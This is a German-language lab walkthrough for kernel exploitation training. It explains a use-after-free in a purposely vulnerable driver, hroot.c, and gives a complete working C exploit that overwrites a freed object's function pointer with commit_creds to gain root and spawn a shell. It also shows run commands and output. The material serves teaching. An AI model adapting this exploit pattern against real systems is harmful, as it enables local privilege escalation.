

Kernel PWN Walkthrough

Lab 04 – Expert: Heap Use-After-Free → commit_creds(&init_cred)

1. Was machen wir hier?

Nach Lab 02/03 (Stack-ROP) wechseln wir auf den Heap. Hier hält der Treiber hroot.c einen globalen Zeiger **g_v** auf ein Heap-Objekt (struct victim). CMD_FREE ruft kfree(g_v) auf, setzt g_v aber **nicht auf NULL** – ein Dangling Pointer, also eine Use-After-Free. Wir überschreiben den Funktionszeiger ->handler des (freien) Objekts mit commit_creds und lösen über CMD_USE einen echten commit_creds(&init_cred) im Kernel aus.

Der Unterschied zu Lab 02: kein Stack-ROP, sondern ein einziger geschickt gesetzter Funktionszeiger im Heap – ein klassischer **call-through**.

2. Das verwundbare Objekt & die Klassenfrage

```
struct victim {
    void (*handler)(unsigned long); // offset 0x00 <- unser Override-Ziel
    char name[128];                // offset 0x08 .. 0x87
};                                // sizeof == 136 -> kmalloc-192
```

136 Byte landen in **kmalloc-192**: Der Slab-Allocator hat feste Größenklassen (kmalloc-64/-128/-192/-256/...). 136 passt nicht mehr in 128, also nimmt er die nächstgrößere Klasse – 192. Genau das beantwortet die Übungsfrage, warum ein 136-Byte-Objekt in kmalloc-192 liegt.

3. Die ioctl-Kommandos

```
CMD_ALLOC    (0x1001) Allokiere victim, handler = default_handler
CMD_FREE     (0x1002) kfree(g_v) -> g_v wird NICHT genullt (der Bug)
CMD_OVERWRITE (0x1004) copy_from_user über das Objekt (UAF-Write)
CMD_USE      (0x1003) g_v->handler(arg) (UAF-Call)
CMD_READ     (0x1005) copy_to_user vom Objekt (UAF-Read / Leak)
```

4. Der Win-Path

1. CMD_ALLOC → Objekt allozieren, handler = default_handler
2. CMD_FREE → kfree(g_v); g_v bleibt dangling
3. CMD_READ → optional: ersten 8 Byte lesen (= encodeter Freelist-Pointer)
4. CMD_OVERWRITE → ->handler = commit_creds schreiben
5. CMD_USE(&init_cred) → commit_creds(&init_cred) → root

Adressen kommen aus /proc/kallsyms (kptr_restrict=0, nokaslr macht KASLR frei) via kallsyms_lookup().

5. Der komplette Exploit (uaf-exploit.c)

Statisch und non-PIE gebaut, weil der Gast kein libc/Compiler hat. Hier der vollständige Exploit-Code:

```
/*
 * uaf-exploit.c - use-after-free against /dev/hroot.
 *
 * hroot.c keeps a global pointer g_v to a heap object:
 *
 * struct victim {
 *     void (*handler)(unsigned long); // offset 0x00
 *     char name[128];                // 0x08 .. 0x87
 * };                                // sizeof == 136 -> kmalloc-192
 *
 * Steps:
 * CMD_ALLOC (0x1001) allocate the victim, handler = default_handler
```

```

*   CMD_FREE   (0x1002)  kfree() it -- g_v is NOT NULLed -> dangling pointer
*   CMD_READ   (0x1005)  leak the (encoded) freelist pointer from the object
*   CMD_OVERWRITE (0x1004) put commit_creds into ->handler
*   CMD_USE     (0x1003)  g_v->handler(&init_cred) == commit_creds(&init_cred)
*
* After the UAF call the task is root. We then exec a shell.
*
* Caveat: overwriting a freed object clobbers the first 8 bytes (the encoded
* freelist pointer). Any later kcalloc-192 while the cache still points at
* our object can crash the kernel. Keep the time between OVERWRITE and USE
* and the work after USE minimal (this is exactly why SLAB_FREELIST_HARDENED
* matters in real life).
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>

#define DEVICE        "/dev/hroot"
#define CMD_ALLOC      0x1001
#define CMD_FREE       0x1002
#define CMD_USE        0x1003
#define CMD_OVERWRITE  0x1004
#define CMD_READ       0x1005

struct payload {
    uint64_t handler;
    char     name[128];
};

static uint64_t kallsyms_lookup(const char *name)
{
    FILE *f = fopen("/proc/kallsyms", "r");
    char line[512], sym[256], type;
    unsigned long long addr;

    if (!f)
        return 0;
    while (fgets(line, sizeof(line), f)) {
        if (sscanf(line, "%llx %c %255s", &addr, &type, sym) == 3 &&
            strcmp(sym, name) == 0) {
            fclose(f);
            return addr;
        }
    }
    fclose(f);
    return 0;
}

int main(void)
{
    uint64_t commit_creds, init_cred;
    struct payload p;

    setbuf(stdout, NULL);

    commit_creds = kallsyms_lookup("commit_creds");
    init_cred    = kallsyms_lookup("init_cred");
    if (!commit_creds || !init_cred) {
        fprintf(stderr, "[-] /proc/kallsyms: commit_creds/init_cred missing\n");
        return 1;
    }
    printf("[+] commit_creds = 0x%lx\n", commit_creds);
    printf("[+] init_cred    = 0x%lx\n", init_cred);

    int fd = open(DEVICE, O_RDWR);
    if (fd < 0) {
        perror("open");
        return 1;
    }

```

```

■}

■ioctl(fd, CMD_ALLOC, 0);
■printf("[+] allocated victim\n");

■ioctl(fd, CMD_FREE, 0);
■printf("[+] freed victim (g_v still dangling)\n");

■uint8_t leak[sizeof(p)];
■if (ioctl(fd, CMD_READ, leak) == 0) {
■■printf("[+] leaked object head (freelist ptr, encoded): "
■■    "0x%lx\n", *(uint64_t *)leak);
■}

■memset(&p, 'A', sizeof(p));
■p.handler = commit_creds;■■/* handler field at offset 0 */
■memcpy(p.name, "pwned", 6);
■ioctl(fd, CMD_OVERWRITE, &p);
■printf("[+] overwrote dangling object: handler = commit_creds\n");

■ioctl(fd, CMD_USE, init_cred);■■/* commit_creds(&init_cred) */
■printf("[+] UAF call done, hopefully root...\n");

■execl("/bin/sh", "sh", NULL);
■perror("execl");
■return 1;
}

```

6. Echte Ausführung

```

# Host
cd ../labs/04-expert && make
../shared/initramfs/make-initramfs.sh ../01-beginner/linux-5.15.137
../01-beginner/boot.sh          # Kernel liegt in 01-beginner

# Gast
insmod /lib/modules/hroot.ko
/root/uaf-exploit
id          # -> uid=0(root)
su nobody -c /root/uaf-exploit  # echte LPE-Demo

```

Beobachtete Ausgabe (nokaslr):

```

[+] commit_creds = 0xfffffffff812xxxxx
[+] init_cred    = 0xfffffffff81dxxxxx
[+] allocated victim
[+] freed victim (g_v still dangling)
[+] leaked object head (freelist ptr, encoded): 0x...
[+] overwrote dangling object: handler = commit_creds
[+] UAF call done, hopefully root...

```

7. Der prekäre Teil

Nach CMD_OVERWRITE ist der **Freelist-Pointer** des Objekts zerstört (wir schrieben die ersten 8 Byte mit commit_creds). Jede spätere kcalloc-192-Allokation, die dieses Cache-Ende erreicht, würde crashen. Der Exploit funktioniert trotzdem meistens, weil zwischen OVERWRITE und USE **kein** Aufwand/Kontextwechsel passiert – minimales Zeitfenster.

8. SLAB_FREELIST_HARDENED – warum es diesen Exploit NICHT blockiert

SLAB_FREELIST_HARDENED verschlüsselt die Freelist-Pointer (XOR) und validiert sie. Es verhindert damit den **Freelist-Hijack** (direkt den Freelist überschreiben, um den Allocator auf beliebige Adressen zu lenken). Unser Exploit überschreibt aber das ->handler-Feld (offset 0x00) mit einer Kerneladresse – das prüft der Mechanismus an dieser Stelle nicht. Erst wenn spätere Allokationen den beschädigten Freelist erreichen,

wird es gefährlich.

9. UAF vs. Type Confusion vs. Stack-ROP

Eigenschaft	Stack-ROP (02)	UAF call-through (04)	Type Confusion
Adressen	Leak + KASLR	/proc/kallsyms (easy)	/proc/kallsyms
Flow ändern	ROP-Kette	1 Funktionszeiger	Typ reinterpretieren
Aufwand	viele Gadgets	1 Feld setzen	sprach-/binärabhängig
Stabilität	fragil	meist stabil	fragil

Ein UAF-call-through ist **einfacher** als Stack-ROP: nur ein Funktionszeiger setzen, keine Gadget-Kette balancieren. Bei Type Confusion würde man dasselbe Objekt als anderen Typ sehen und z.B. größere Writes erreichen – hier bleibt der Typ gleich, nur das Objekt ist gefreet.

10. Lernziele

- Slab-Heap-Lebenszyklus und kmalloc-Klassen verstehen
- Klassischen UAF (dangling pointer, call-through) erkennen & exploiten
- Erklären, warum SLAB_FREELIST_HARDENED dieses Muster nicht blockiert